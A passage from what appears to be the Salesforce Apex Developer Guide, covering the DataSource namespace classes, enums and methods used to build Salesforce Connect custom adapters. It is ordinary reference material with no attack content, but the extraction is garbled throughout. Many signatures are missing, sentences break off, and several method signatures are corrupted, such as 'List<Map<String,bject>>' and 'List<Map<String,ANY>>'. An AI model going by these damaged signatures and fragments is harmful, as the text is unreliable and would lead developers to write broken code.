Invoked by a SOQL query of an external object. A SOQL query is generated and executed when a user visits an external object’s list view
or record detail page in Salesforce. Returns the results of the query.
1887
Signature
public DataSource.TableResult query(DataSource.QueryContext queryContext)
Parameters
queryContext
Type: DataSource.QueryContext
Represents the query to run against a data table.
Return Value
Type: DataSource.TableResult
search(searchContext)
Invoked by a SOSL query of an external object or when a user performs a Salesforce global search that also searches external objects.
Returns the results of the query.
Signature
public List<DataSource.TableResult> search(DataSource.SearchContext searchContext)
Parameters
searchContext
Type: DataSource.SearchContext
Represents the query to run against an external data table.
Return Value
Type: List<DataSource.TableResult>
sync()
Invoked when an administrator clicks Validate and Sync on the external data source detail page. Returns a list of tables that describe
the external system’s schema.
Signature
public List<DataSource.Table> sync()
Return Value
Type: List<DataSource.Table>
Each returned table can be used to create an external object in Salesforce. On the Validate External Data Source page, the administrator
views the list of returned tables and selects which tables to sync. When the administrator clicks Sync, an external object is created for
each selected table. Each column within the selected tables also becomes a field in the external object.
1888
upsertRows(upsertContext)
Invoked when external object records are created or updated via the Salesforce user interface, APIs, or Apex.
Signature
public List<DataSource.UpsertResult> upsertRows(DataSource.UpsertContext upsertContext)
Parameters
upsertContext
Type: DataSource.UpsertContext
Contains context information about the upsert request.
Return Value
Type: List<DataSource.UpsertResult>
The results of the upsert operation.
ConnectionParams Class
Contains the credentials for authenticating to the external system.
Namespace
DataSource
Usage
If your extension of the DataSource.Provider class returns DataSource.AuthenticationCapability values that
indicate support for authentication, the DataSource.Connection class is instantiated with a
DataSource.ConnectionParams instance in the constructor.
The authentication credentials in the DataSource.ConnectionParams instance depend on the Identity Type field of
the external data source definition in Salesforce.
source definition.
The values in this class can appear in debug logs and can be accessed by users who have the “Author Apex” permission. If you require
better security, we recommend that you specify named credentials instead of URLs as your Apex callout endpoints. Salesforce manages
all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesn’t have to.
IN THIS SECTION:
ConnectionParams Properties
1889
ConnectionParams Properties
The following are properties for ConnectionParams.
IN THIS SECTION:
certificateName
The name of the certificate for establishing each connection to the external system.
endpoint
The URL of the external system.
oauthToken
The OAuth token that’s issued by the external system.
password
The password for authenticating to the external system.
principalType
An instance of DataSource.IdentityType, which determines which set of credentials to use to access the external system.
protocol
The type of protocol that’s used to authenticate to the external system.
repository
Reserved for future use.
username
The username for authenticating to the external system.
certificateName
The name of the certificate for establishing each connection to the external system.
Signature
public String certificateName {get; set;}
Property Value
Type: String
The value comes from the external data source definition in Salesforce.
endpoint
The URL of the external system.
Signature
public String endpoint {get; set;}
Property Value
Type: String
1890
The value comes from the external data source definition in Salesforce.
oauthToken
The OAuth token that’s issued by the external system.
Signature
public String oauthToken {get; set;}
Property Value
Type: String
password
The password for authenticating to the external system.
Signature
public String password {get; set;}
Property Value
Type: String
The value depends on the Identity Type field of the external data source definition in Salesforce.
source definition.
principalType
An instance of DataSource.IdentityType, which determines which set of credentials to use to access the external system.
Signature
public DataSource.IdentityType principalType {get; set;}
Property Value
Type: DataSource.IdentityType
protocol
The type of protocol that’s used to authenticate to the external system.
1891
Signature
public DataSource.AuthenticationProtocol protocol {get; set;}
Property Value
Type: DataSource.AuthenticationProtocol
repository
Signature
public String repository {get; set;}
Property Value
Type: String
username
The username for authenticating to the external system.
Signature
public String username {get; set;}
Property Value
Type: String
The value depends on the Identity Type field of the external data source definition in Salesforce.
source definition.
DataSourceUtil Class
Parent class for the DataSource.Provider, DataSource.Connection, DataSource.Table, and
DataSource.Column classes.
Namespace
DataSource
1892
IN THIS SECTION:
DataSourceUtil Methods
DataSourceUtil Methods
The following are methods for DataSourceUtil.
IN THIS SECTION:
logWarning(message)
Logs the error message in the debug log.
throwException(message)
Throws a DataSourceException and displays the provided message to the user.
logWarning(message)
Logs the error message in the debug log.
Signature
public void logWarning(String message)
Parameters
message
Type: String
The error message.
Return Value
Type: void
throwException(message)
Throws a DataSourceException and displays the provided message to the user.
Signature
public void throwException(String message)
Parameters
message
Type: String
Error message to display to the user.
Return Value
Type: void
1893
DataType Enum
Specifies the data types that are supported by the Apex Connector Framework.
Usage
The DataSource.DataType enum is referenced by the type property on the DataSource.Column class.
Enum Values
The following are the values of the DataSource.DataType enum.
Value Description
BOOLEAN_TYPE Boolean
DATETIME_TYPE Date/time
EXTERNAL_LOOKUP_TYPE External lookup relationship
INDIRECT_LOOKUP_TYPE Indirect lookup relationship
LOOKUP_TYPE Lookup relationship
NUMBER_TYPE Number
STRING_LONG_TYPE Long text area
STRING_SHORT_TYPE Text area
URL_TYPE URL
DeleteContext Class
An instance of DeleteContext is passed to the deleteRows() method on your Database.Connection class. The class
provides context information about the delete request to the implementor of deleteRows().
Namespace
DataSource
Usage
The Apex Connector Framework creates context for operations. Context is comprised of parameters about the operations, which other
methods can use. An instance of the DeleteContext class packages these parameters into an object that can be used when a
deleteRows() operation is initiated.
IN THIS SECTION:
DeleteContext Properties
1894
DeleteContext Properties
The following are properties for DeleteContext.
IN THIS SECTION:
externalIds
The external IDs of the rows representing external object records to delete.
tableSelected
The name of the table to delete rows from.
externalIds
The external IDs of the rows representing external object records to delete.
Signature
public List<String> externalIds {get; set;}
Property Value
Type: List<String>
tableSelected
The name of the table to delete rows from.
Signature
public String tableSelected {get; set;}
Property Value
Type: String
DeleteResult Class
Represents the result of a delete operation on an sObject record. The result is returned by the DataSource.deleteRows method
of the DataSource.Connection class.
Namespace
DataSource
Usage
A delete operation on external object records generates an array of objects of type DataSource.DeleteResult. Its methods
create result records that indicate whether the delete operation succeeded or failed.
1895
IN THIS SECTION:
DeleteResult Properties
DeleteResult Properties
The following are properties for DeleteResult.
IN THIS SECTION:
errorMessage
The error message that’s generated by a failed delete operation. Recorded with a result of type DataSource.DeleteResult.
externalId
The unique identifier of a row that represents an external object record to delete.
success
Indicates whether a delete operation succeeded or failed.
errorMessage
The error message that’s generated by a failed delete operation. Recorded with a result of type DataSource.DeleteResult.
Signature
public String errorMessage {get; set;}
Property Value
Type: String
externalId
The unique identifier of a row that represents an external object record to delete.
Signature
public String externalId {get; set;}
Property Value
Type: String
success
Signature
1896
Property Value
Type: Boolean
The following are methods for DeleteResult.
IN THIS SECTION:
equals(obj)
Maintains the integrity of lists of type DeleteResult by determining the equality of external objects in a list. This method is
dynamic and is based on the equals method in Java.
failure(externalId, errorMessage)
Creates a delete result indicating the failure of a delete request for a given external ID.
hashCode()
Maintains the integrity of lists of type DeleteResult by determining the uniqueness of the external object records in a list.
success(externalId)
Creates a delete result indicating the successful completion of a delete request for a given external ID.
equals(obj)
Maintains the integrity of lists of type DeleteResult by determining the equality of external objects in a list. This method is dynamic
and is based on the equals method in Java.
Signature
public Boolean equals(Object obj)
Parameters
obj
Type: Object
External object whose key is to be validated.
For information about the equals method, see Using Custom Types in Map Keys and Sets on page 106.
Return Value
Type: Boolean
Creates a delete result indicating the failure of a delete request for a given external ID.
Signature
public static DataSource.DeleteResult failure(String externalId, String errorMessage)
1897
Parameters
externalId
Type: String
The unique identifier of the sObject record to delete.
errorMessage
Type: String
The reason the delete operation failed.
Return Value
Type: DataSource.DeleteResult
Status result of the delete operation.
hashCode()
Maintains the integrity of lists of type DeleteResult by determining the uniqueness of the external object records in a list.
Signature
public Integer hashCode()
Return Value
Type: Integer
success(externalId)
Creates a delete result indicating the successful completion of a delete request for a given external ID.
Signature
public static DataSource.DeleteResult success(String externalId)
Parameters
externalId
Type: String
The unique identifier of the sObject record to delete.
Return Value
Type: DataSource.DeleteResult
Status result of the delete operation for the sObject with the given external ID.
Filter Class
Represents a WHERE clause in a SOSL or SOQL query.
1898
Namespace
DataSource
Usage
Compound types require child filters. Specifically, the subfilters property can’t be null if the type property is NOT_, AND_, or
OR_.
IN THIS SECTION:
Filter Properties
Filter Properties
The following are properties for Filter.
IN THIS SECTION:
columnName
Name of the column that’s being evaluated in a simple comparative type of filter.
columnValue
Value that the filter compares records against in a simple comparative type of filter.
subfilters
List of subfilters for compound filter types, such as NOT_, AND_, and OR_.
tableName
Name of the table whose column is being evaluated in a simple comparative type of filter.
type
Type of filter operation that limits the returned data.
columnName
Name of the column that’s being evaluated in a simple comparative type of filter.
Signature
Property Value
Type: String
columnValue
Value that the filter compares records against in a simple comparative type of filter.
Signature
public Object columnValue {get; set;}
1899
Property Value
Type: Object
subfilters
List of subfilters for compound filter types, such as NOT_, AND_, and OR_.
Signature
public List<DataSource.Filter> subfilters {get; set;}
Property Value
Type: List<DataSource.Filter>
tableName
Name of the table whose column is being evaluated in a simple comparative type of filter.
Signature
Property Value
Type: String
type
Type of filter operation that limits the returned data.
Signature
public DataSource.FilterType type {get; set;}
Property Value
Type: DataSource.FilterType
FilterType Enum
Referenced by the type property on a DataSource.Filter.
Usage
Determines how to limit the returned data.
Enum Values
The following are the values of the DataSource.FilterType enum.
1900
Value Description
AND_ This compound filter type returns all rows that match all the subfilters.
CONTAINS Simple comparative filter type.
ENDS_WITH Simple comparative filter type.
EQUALS Simple comparative filter type.
GREATER_THAN Simple comparative filter type.
GREATER_THAN_OR_EQUAL_TO Simple comparative filter type.
LESS_THAN Simple comparative filter type.
LESS_THAN_OR_EQUAL_TO Simple comparative filter type.
LIKE_ Simple comparative filter type.
NOT_ This compound filter type returns the rows that don’t match the subfilter.
NOT_EQUALS Simple comparative filter type.
OR_ This compound filter type returns all rows that match any of the subfilters.
STARTS_WITH Simple comparative filter type.
IdentityType Enum
Determines which set of credentials is used to authenticate to the external system.
Usage
The relevant credentials are passed to your DataSource.Connection class.
Enum Values
The following are the values of the DataSource.IdentityType enum.
Value Description
ANONYMOUS No credentials are used to authenticate to the external system.
NAMED_USER The credentials in the external data source definition are used to authenticate to
the external system, regardless of which user is accessing the external data from
your organization.
PER_USER For queries and searches, the credentials are specific to the current user who invokes
the query or search. The credentials come from the user’s authentication settings
for the external system.
For administrative connections, such as syncing the external system’s schema, the
credentials come from the external data source definition.
1901
Order Class
Contains details about how to sort the rows in the result set. Equivalent to an ORDER BY statement in a SOQL query.
Namespace
DataSource
Usage
Used in the order property on the DataSource.TableSelection class.
IN THIS SECTION:
Order Properties
Order Methods
Order Properties
The following are properties for Order.
IN THIS SECTION:
columnName
Name of the column whose values are used to sort the rows in the result set.
direction
Direction for sorting rows based on column values.
tableName
Name of the table whose column values are used to sort the rows in the result set.
columnName
Signature
Property Value
Type: String
direction
Signature
public DataSource.OrderDirection direction {get; set;}
1902
Property Value
Type: DataSource.OrderDirection
tableName
Signature
Property Value
Type: String
Order Methods
The following are methods for Order.
IN THIS SECTION:
get(tableName, columnName, direction)
Creates an instance of the DataSource.Order class.
get(tableName, columnName, direction)

Creates an instance of the DataSource.Order class.
Signature
public static DataSource.Order get(String tableName, String columnName,
DataSource.OrderDirection direction)
Parameters
tableName
Type: String
columnName
Type: String
direction
Type: DataSource.OrderDirection
Return Value
Type: DataSource.Order
1903
OrderDirection Enum
Specifies the direction for sorting rows based on column values.
Usage
Used by the direction property on the DataSource.Order class.
Enum Values
The following are the values of the DataSource.OrderDirection enum.
Value Description
ASCENDING Sort rows in ascending order (A–Z).
DESCENDING Sort rows in descending order (Z–A).
Provider Class
Extend this base class to create a custom adapter for Salesforce Connect. The class informs Salesforce of the functional and authentication
capabilities that are supported by or required to connect to the external system. This class extends the DataSourceUtil class and
inherits its methods.
Namespace
DataSource
Usage
Create an Apex class that extends DataSource.Provider to specify the following.
• The types of authentication that can be used to access the external system
• The features that are supported for the connection to the external system
• The Apex class that extends DataSource.Connection to sync the external system’s schema and to handle the queries and
searches of the external data
The values that are returned by the DataSource.Provider class determine which settings are available in the external data
source definition in Salesforce. To access the external data source definition from Setup, enter External Data Sources in the
Quick Find box, then select External Data Sources.
IN THIS SECTION:
Provider Methods
Provider Methods
The following are methods for Provider.
1904
IN THIS SECTION:
getAuthenticationCapabilities()
Returns the types of authentication that can be used to access the external system.
getCapabilities()
Returns the functional operations that the external system supports and the required endpoint settings for the external data source
definition in Salesforce.
getConnection(connectionParams)
Returns a connection that points to an instance of the external data source.
getAuthenticationCapabilities()
Returns the types of authentication that can be used to access the external system.
Signature
public List<DataSource.AuthenticationCapability> getAuthenticationCapabilities()
Return Value
Type: List<DataSource.AuthenticationCapability>
getCapabilities()
Returns the functional operations that the external system supports and the required endpoint settings for the external data source
definition in Salesforce.
Signature
public List<DataSource.Capability> getCapabilities()
Return Value
Type: List<DataSource.Capability>
getConnection(connectionParams)
Returns a connection that points to an instance of the external data source.
Signature
public DataSource.Connection getConnection(DataSource.ConnectionParams connectionParams)
Parameters
connectionParams
Type: DataSource.ConnectionParams
Credentials for authenticating to the external system.
1905
Return Value
Type: DataSource.Connection
QueryAggregation Enum
Specifies how to aggregate a column in a query.
Usage
Used by the aggregation property on the DataSource.ColumnSelection class.
Enum Values
The following are the values of the DataSource.QueryAggregation enum.
Value Description
AVG Reserved for future use.
COUNT Returns the number of rows that meet the query criteria.
MAX Reserved for future use.
MIN Reserved for future use.
NONE No aggregation.
SUM Reserved for future use.
QueryContext Class
An instance of QueryContext is provided to the query method on your DataSource.Connection class. The instance
corresponds to a SOQL request.
Namespace
DataSource
IN THIS SECTION:
QueryContext Properties
QueryContext Methods
QueryContext Properties
The following are properties for QueryContext.
IN THIS SECTION:
queryMoreToken
Query token that’s used for server-driven paging to determine and fetch the subsequent batch of results.
1906
tableSelection
Query details that represent the FROM, ORDER BY, SELECT, and WHERE clauses in a SOQL or SOSL query.
queryMoreToken
Query token that’s used for server-driven paging to determine and fetch the subsequent batch of results.
Signature
public String queryMoreToken {get; set;}
Property Value
Type: String
tableSelection
Signature
public DataSource.TableSelection tableSelection {get; set;}
Property Value
Type: DataSource.TableSelection
QueryContext Methods
The following are methods for QueryContext.
IN THIS SECTION:
get(metadata, offset, maxResults, tableSelection)
Creates an instance of the QueryContext class.
get(metadata, offset, maxResults, tableSelection)

Creates an instance of the QueryContext class.
Signature
public static DataSource.QueryContext get(List<DataSource.Table> metadata, Integer
offset, Integer maxResults, DataSource.TableSelection tableSelection)
Parameters
metadata
List of table metadata that describes the external system’s tables to query.
1907
offset
Type: Integer
Used for client-driven paging. Specifies the starting row offset into the query’s result set.
maxResults
Type: Integer
Used for client-driven paging. Specifies the maximum number of rows to return in each batch.
tableSelection
Return Value
QueryUtils Class
Contains helper methods to locally filter, sort, and apply limit and offset clauses to data rows. This helper class is provided for your
Namespace
DataSource
Usage
The DataSource.QueryUtils class and its helper methods can process query results locally within your Salesforce org. This class
is provided for your convenience to simplify the development of your Salesforce Connect custom adapter for initial tests. However, the
DataSource.QueryUtils class and its methods aren’t supported for use in production environments that use callouts to retrieve
data from external systems. Complete the filtering and sorting on the external system before sending the query results to Salesforce.
When possible, use server-driven paging or another technique to have the external system determine the appropriate data subsets
according to the limit and offset clauses in the query.
IN THIS SECTION:
QueryUtils Methods
QueryUtils Methods
The following are methods for QueryUtils.
IN THIS SECTION:
applyLimitAndOffset(queryContext, rows)
Returns a subset of data rows after locally applying limit and offset clauses from the query. This helper method is provided for your
1908
filter(queryContext, rows)
Returns a subset of data rows after locally ordering and applying filters from the query. This helper method is provided for your
process(queryContext, rows)
Returns data rows after locally filtering, sorting, ordering, and applying limit and offset clauses from the query. This helper method
is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.
sort(queryContext, rows)
Returns data rows after locally sorting and applying the order from the query. This helper method is provided for your convenience
during early development and tests, but it isn’t supported for use in production environments.
applyLimitAndOffset(queryContext, rows)
Returns a subset of data rows after locally applying limit and offset clauses from the query. This helper method is provided for your
Signature
public static List<Map<String,Object>> applyLimitAndOffset(DataSource.QueryContext
queryContext, List<Map<String,Object>> rows)
Parameters
queryContext
rows
Type: List<Map<String, Object>>
Rows of data.
Return Value
filter(queryContext, rows)
Returns a subset of data rows after locally ordering and applying filters from the query. This helper method is provided for your convenience
Signature
public static List<Map<String,bject>> filter(DataSource.QueryContext queryContext,
List<Map<String,Object>> rows)
Parameters
queryContext
1909
rows
Rows of data.
Return Value
process(queryContext, rows)
Returns data rows after locally filtering, sorting, ordering, and applying limit and offset clauses from the query. This helper method is
provided for your convenience during early development and tests, but it isn’t supported for use in production environments.
Signature
public static List<Map<String,bject>> process(DataSource.QueryContext queryContext,
Parameters
queryContext
rows
Rows of data.
Return Value
sort(queryContext, rows)
Returns data rows after locally sorting and applying the order from the query. This helper method is provided for your convenience
Signature
public static List<Map<String,ject>> sort(DataSource.QueryContext queryContext,
List<Map<String,bject>> rows)
Parameters
queryContext
rows
1910
Rows of data.
Return Value
ReadContext Class
Abstract base class for the QueryContext and SearchContext classes.
Namespace
DataSource
IN THIS SECTION:
ReadContext Properties
ReadContext Properties
The following are properties for ReadContext.
IN THIS SECTION:
maxResults
Maximum number of rows that the query can return.
metadata
Describes the external system’s tables to query.
offset
The starting row offset into the query’s result set. Used for client-driven paging.
maxResults
Maximum number of rows that the query can return.
Signature
public Integer maxResults {get; set;}
Property Value
Type: Integer
metadata
Describes the external system’s tables to query.
Signature
public List<DataSource.Table> metadata {get; set;}
1911
Property Value
offset
The starting row offset into the query’s result set. Used for client-driven paging.
Signature
public Integer offset {get; set;}
Property Value
Type: Integer
SearchContext Class
An instance of SearchContext is provided to the search method on your DataSource.Connection class. The instance
corresponds to a search or SOSL request.
Namespace
DataSource
IN THIS SECTION:
SearchContext Constructors
SearchContext Properties
SearchContext Constructors
The following are constructors for SearchContext.
IN THIS SECTION:
SearchContext(metadata, offset, maxResults, tableSelections, searchPhrase)
Creates an instance of the SearchContext class with the specified parameter values.
SearchContext()
Creates an instance of the SearchContext class.
SearchContext(metadata, offset, maxResults, tableSelections, searchPhrase)

Creates an instance of the SearchContext class with the specified parameter values.
Signature
public SearchContext(List<DataSource.Table> metadata, Integer offset, Integer maxResults,
List<DataSource.TableSelection> tableSelections, String searchPhrase)
1912
Parameters
metadata
List of table metadata that describes the external system’s tables to query.
offset
Type: Integer
Specifies the starting row offset into the query’s result set.
maxResults
Type: Integer
Specifies the maximum number of rows to return in each batch.
tableSelections
Type: List<DataSource.TableSelection>
List of queries and their details. The details represent the FROM, ORDER BY, SELECT, and WHERE clauses in each SOQL or SOSL
query.
searchPhrase
Type: String
The user-entered search string as a case-sensitive single phrase, with all non-alphanumeric characters removed.
SearchContext()
Creates an instance of the SearchContext class.
Signature
public SearchContext()
SearchContext Properties
The following are properties for SearchContext.
IN THIS SECTION:
searchPhrase
tableSelections
List of queries and their details. The details represent the FROM, ORDER BY, SELECT, and WHERE clauses in each SOQL or SOSL query.
searchPhrase
Signature
public String searchPhrase {get; set;}
1913
Property Value
Type: String
tableSelections
List of queries and their details. The details represent the FROM, ORDER BY, SELECT, and WHERE clauses in each SOQL or SOSL query.
Signature
public List<DataSource.TableSelection> tableSelections {get; set;}
Property Value
Type: List<DataSource.TableSelection>
SearchUtils Class
Helper class for implementing search on a custom adapter for Salesforce Connect.
Namespace
DataSource
Usage
We recommend that you develop your own search implementation that can search columns in addition to the designated name field.
IN THIS SECTION:
SearchUtils Methods
SearchUtils Methods
The following are methods for SearchUtils.
IN THIS SECTION:
searchByName(searchDetails, connection)
Queries all the tables and returns each row whose designated name field contains the search phrase.
searchByName(searchDetails, connection)
Queries all the tables and returns each row whose designated name field contains the search phrase.
Signature
public static List<DataSource.TableResult> searchByName(DataSource.SearchContext
searchDetails, DataSource.Connection connection)
1914
Parameters
searchDetails
Type: DataSource.SearchContext
The SearchContext class that specifies which data to search and what to search for.
connection
Type: DataSource.Connection
The DataSource.Connection class that connects to the external system.
Return Value
Type: List<DataSource.TableResult>
Table Class
Describes a table on an external system that the Salesforce Connect custom adapter connects to. This class extends the
Namespace
DataSource
Usage
A list of table metadata is provided by the DataSource.Connection class when the sync() method is invoked. Each table
can become an external object in Salesforce.
The metadata is stored in Salesforce. Updating the Apex code to return new or updated values for the table metadata doesn’t automatically
update the stored metadata in Salesforce.
IN THIS SECTION:
Table Properties
Table Methods
Table Properties
The following are properties for Table.
IN THIS SECTION:
columns
List of table columns.
description
Description of what the table represents.
labelPlural
Plural form of the user-friendly name for the table. The labelPlural becomes the object’s plural label in the Salesforce user
interface.
1915
labelSingular
Singular form of the user-friendly name for the table. The labelSingular becomes the object label in the Salesforce user
interface. We recommend that you make object labels unique across all standard, custom, and external objects in the org.
name
Name of the table on the external system.
nameColumn
Name of the table column that becomes the name field of the external object when the administrator syncs the table.
columns
Signature
public List<DataSource.Column> columns {get; set;}
Property Value
Type: List<DataSource.Column>
description
Description of what the table represents.
Signature
Property Value
Type: String
labelPlural
Plural form of the user-friendly name for the table. The labelPlural becomes the object’s plural label in the Salesforce user interface.
Signature
public String labelPlural {get; set;}
Property Value
Type: String
labelSingular
Singular form of the user-friendly name for the table. The labelSingular becomes the object label in the Salesforce user interface.
We recommend that you make object labels unique across all standard, custom, and external objects in the org.
1916
Signature
public String labelSingular {get; set;}
Property Value
Type: String
name
Name of the table on the external system.
Signature
Property Value
Type: String
nameColumn
Signature
public String nameColumn {get; set;}
Property Value
Type: String
Table Methods
The following are methods for Table.
IN THIS SECTION:
get(name, labelSingular, labelPlural, description, nameColumn, columns)
Returns the table metadata with the specified parameter values.
get(name, nameColumn, columns)
Returns the table metadata with the specified parameter values, using the name for the labels and description.
get(name, labelSingular, labelPlural, description, nameColumn, columns)

Returns the table metadata with the specified parameter values.
Signature
public static DataSource.Table get(String name, String labelSingular, String labelPlural,
String description, String nameColumn, List<DataSource.Column> columns)
1917
Parameters
name
Type: String
Name of the external table.
labelSingular
Type: String
Singular form of the user-friendly name for the table. The labelSingular becomes the object label in the Salesforce user
interface.
labelPlural
Type: String
Plural form of the user-friendly name for the table. The labelPlural becomes the object’s plural label in the Salesforce user
interface.
description
Type: String
Description of the external table.
nameColumn
Type: String
columns
Return Value
Type: DataSource.Table
get(name, nameColumn, columns)

Returns the table metadata with the specified parameter values, using the name for the labels and description.
Signature
public static DataSource.Table get(String name, String nameColumn,
List<DataSource.Column> columns)
Parameters
name
Type: String
Name of the external table.
nameColumn
Type: String
1918
columns
Return Value
Type: DataSource.Table
The returned table metadata has these property values.
Property Value
name name
labelSingular name
labelPlural name
description name
nameColumn nameColumn
columns columns
TableResult Class
Contains the results of a search or query.
Namespace
DataSource
IN THIS SECTION:
TableResult Properties
TableResult Methods
TableResult Properties
The following are properties for TableResult.
IN THIS SECTION:
errorMessage
queryMoreToken
Query token that’s used for server-driven paging to determine and fetch the subsequent batch of results. This token is passed back
to the Apex data source on subsequent queries in the queryMoreToken property on the QueryContext.
rows
Rows of data.
1919
success
Whether the search or query was successful.
tableName
Name of the table that was queried.
totalSize
The total number of rows that meet the query criteria, even when the external system is requested to return a smaller batch size.
errorMessage
Signature
Property Value
Type: String
queryMoreToken
Query token that’s used for server-driven paging to determine and fetch the subsequent batch of results. This token is passed back to
the Apex data source on subsequent queries in the queryMoreToken property on the QueryContext.
Signature
public String queryMoreToken {get; set;}
Property Value
Type: String
rows
Rows of data.
Signature
public List<Map<String,Object>> rows {get; set;}
Property Value
success
1920
Signature
Property Value
Type: Boolean
tableName
Signature
Property Value
Type: String
totalSize
Signature
public Integer totalSize {get; set;}
Property Value
Type: Integer
TableResult Methods
The following are methods for TableResult.
IN THIS SECTION:
error(errorMessage)
Returns failed search or query results with the provided error message.
get(success, errorMessage, tableName, rows, totalSize)
Returns a subset of data rows in a TableResult with the provided property values.
get(success, errorMessage, tableName, rows)
Returns a subset of data rows in a TableResult with the provided property values and the number of rows in the table.
get(queryContext, rows)
Returns the subset of data rows that meet the query criteria, and the number of rows in the table, in a TableResult.
get(tableSelection, rows)
1921
error(errorMessage)
Returns failed search or query results with the provided error message.
Signature
public static DataSource.TableResult error(String errorMessage)
Parameters
errorMessage
Type: String
Return Value
The returned TableResult has these property values.
Property Value
success false
errorMessage errorMessage
tableName null
rows null
rows.size() 0
get(success, errorMessage, tableName, rows, totalSize)

Returns a subset of data rows in a TableResult with the provided property values.
Signature
public static DataSource.TableResult get(Boolean success, String errorMessage, String
tableName, List<Map<String,Object>> rows, Integer totalSize)
Parameters
success
Type: Boolean
errorMessage
Type: String
tableName
Type: String
1922

rows
Rows of data.
totalSize
Type: Integer
Return Value
get(success, errorMessage, tableName, rows)

Returns a subset of data rows in a TableResult with the provided property values and the number of rows in the table.
Signature
public static DataSource.TableResult get(Boolean success, String errorMessage, String
tableName, List<Map<String,Object>> rows)
Parameters
success
Type: Boolean
errorMessage
Type: String
tableName
Type: String
rows
Rows of data.
Return Value
get(queryContext, rows)
1923
Signature
public static DataSource.TableResult get(DataSource.QueryContext queryContext,
Parameters
queryContext
rows
Rows of data.
Return Value
get(tableSelection, rows)
Signature
public static DataSource.TableResult get(DataSource.TableSelection tableSelection,
Parameters
tableSelection
rows
Rows of data.
Return Value
TableSelection Class
Contains a breakdown of the SOQL or SOSL query. Its properties represent the FROM, ORDER BY, SELECT, and WHERE clauses in the
query.
Namespace
DataSource
1924
IN THIS SECTION:
TableSelection Properties
TableSelection Properties
The following are properties for TableSelection.
IN THIS SECTION:
columnsSelected
List of columns to query. Corresponds to the SELECT clause in a SOQL or SOSL query.
filter
Identifies the query filter, which can be a compound filter that has a list of subfilters. The filter corresponds to the WHERE clause in
a SOQL or SOSL query.
order
Identifies the order for sorting the query results. Corresponds to the ORDER BY clause in a SOQL or SOSL query.
tableSelected
Name of the table to query. Corresponds to the FROM clause in a SOQL or SOSL query.
columnsSelected
List of columns to query. Corresponds to the SELECT clause in a SOQL or SOSL query.
Signature
public List<DataSource.ColumnSelection> columnsSelected {get; set;}
Property Value
Type: List<DataSource.ColumnSelection>
filter
Identifies the query filter, which can be a compound filter that has a list of subfilters. The filter corresponds to the WHERE clause in a
SOQL or SOSL query.
Signature
public DataSource.Filter filter {get; set;}
Property Value
Type: DataSource.Filter
order
Identifies the order for sorting the query results. Corresponds to the ORDER BY clause in a SOQL or SOSL query.
1925
Signature
public List<DataSource.Order> order {get; set;}
Property Value
Type: List<DataSource.Order>
tableSelected
Name of the table to query. Corresponds to the FROM clause in a SOQL or SOSL query.
Signature
Property Value
Type: String
UpsertContext Class
An instance of UpsertContext is passed to the upsertRows() method on your Datasource.Connection class. This
class provides context information about the upsert request to the implementor of upsertRows().
Namespace
DataSource
Usage
The Apex Connector Framework creates the contet for operations. Context is comprised of parameters about the operations, which
other methods can use. An instance of the UpsertContext class packages these parameters into an object that can be used when
an upsertRows() operation is initiated.
IN THIS SECTION:
UpsertContext Properties
UpsertContext Properties
The following are properties for UpsertContext.
IN THIS SECTION:
rows
List of rows corresponding to the external object records to upsert.
tableSelected
The name of the table to upsert rows in.
1926
rows
List of rows corresponding to the external object records to upsert.
Signature
public List<Map<String,ANY>> rows {get; set;}
Property Value
Type: List<Map<String,Object>>
tableSelected
The name of the table to upsert rows in.
Signature
Property Value
Type: String
UpsertResult Class
Represents the result of an upsert operation on an external object record. The result is returned by the upsertRows method of the
DataSource.Connection class.
Namespace
DataSource
Usage
An upsert operation on external object records generates an array of objects of type DataSource.UpsertResult. Its methods
create result records that indicate whether the upsert operation succeeded or failed.
IN THIS SECTION:
UpsertResult Properties
UpsertResult Properties
The following are properties for UpsertResult.
IN THIS SECTION:
errorMessage
The error message that’s generated by a failed upsert operation.
1927
externalId
The unique identifier of a row that represents an external object record to upsert.
success
errorMessage
The error message that’s generated by a failed upsert operation.
Signature
Property Value
Type: String
externalId
The unique identifier of a row that represents an external object record to upsert.
Signature
public String externalId {get; set;}
Property Value
Type: String
success
Signature
Property Value
Type: Boolean
The following are methods for UpsertResult.
IN THIS SECTION:
equals(obj)
Maintains the integrity of lists of type UpsertResult by determining the equality of external object records in a list. This method
is dynamic and is based on the equals method in Java.
1928
Creates an upsert result that indicates the failure of a delete request for a given external ID.
hashCode()
Maintains the integrity of lists of type UpsertResult by determining the uniqueness of the external object records in a list.
success(externalId)
Creates a delete result that indicates the successful completion of an upsert request for a given external ID.
equals(obj)
Maintains the integrity of lists of type UpsertResult by determining the equality of external object records in a list. This method is
dynamic and is based on the equals method in Java.
Signature
public Boolean equals(Object obj)
Parameters
obj
Type: Object
External object whose key is to be validated.
Return Value
Type: Boolean
Creates an upsert result that indicates the failure of a delete request for a given external ID.
Signature
public static DataSource.UpsertResult failure(String externalId, String errorMessage)
Parameters
externalId
Type: String
The unique identifier of the external object record to upsert.
errorMessage
Type: String
The reason the upsert operation failed.
Return Value
Type: DataSource.UpsertResult
Status result for the upsert operation.
1929
hashCode()
Maintains the integrity of lists of type UpsertResult by determining the uniqueness of the external object records in a list.
Signature
public Integer hashCode()
Return Value
Type: Integer
success(externalId)
Creates a delete result that indicates the successful completion of an upsert request for a given external ID.
Signature
public static DataSource.UpsertResult success(String externalId)
Parameters
externalId
Type: String
The unique identifier of the external object record to upsert.
Return Value
Type: DataSource.UpsertResult
Status result of the upsert operation for the external object record with the given external ID.
DataSource Exceptions
The DataSource namespace contains exception classes.
Exceptions.
The DataSource namespace contains these exceptions.

DataSource.DataSourceException Throw this exception to indicate that an To get the error message and write it
error occurred while communicating with to debug log, use the String
an external data source. getMessage().
DataSource.OAuthTokenExpiredException Throw this exception to indicate that an To get the error message and write it
OAuth token has expired. The system then to debug log, use the String
attempts to refresh the token getMessage().
automatically and restart the query, search,
or sync operation.
1930
Apex Developer Guide Dom Namespace
Dom Namespace
The Dom namespace provides classes and methods for parsing and creating XML content.
The following are the classes in the Dom namespace.
IN THIS SECTION:
Document Class
Use the Document class to process XML content. You can parse nested XML content that’s up to 50 nodes deep.
XmlNode Class
Use the XmlNode class to work with a node in an XML document.
Document Class
Use the Document class to process XML content. You can parse nested XML content that’s up to 50 nodes deep.
Namespace
Dom
Usage
One common application is to use it to create the body of a request for HttpRequest or to parse a response accessed by HttpResponse.
IN THIS SECTION:
Document Constructors
Document Methods
SEE ALSO:
Document Constructors
The following are constructors for Document.
IN THIS SECTION:
Document()
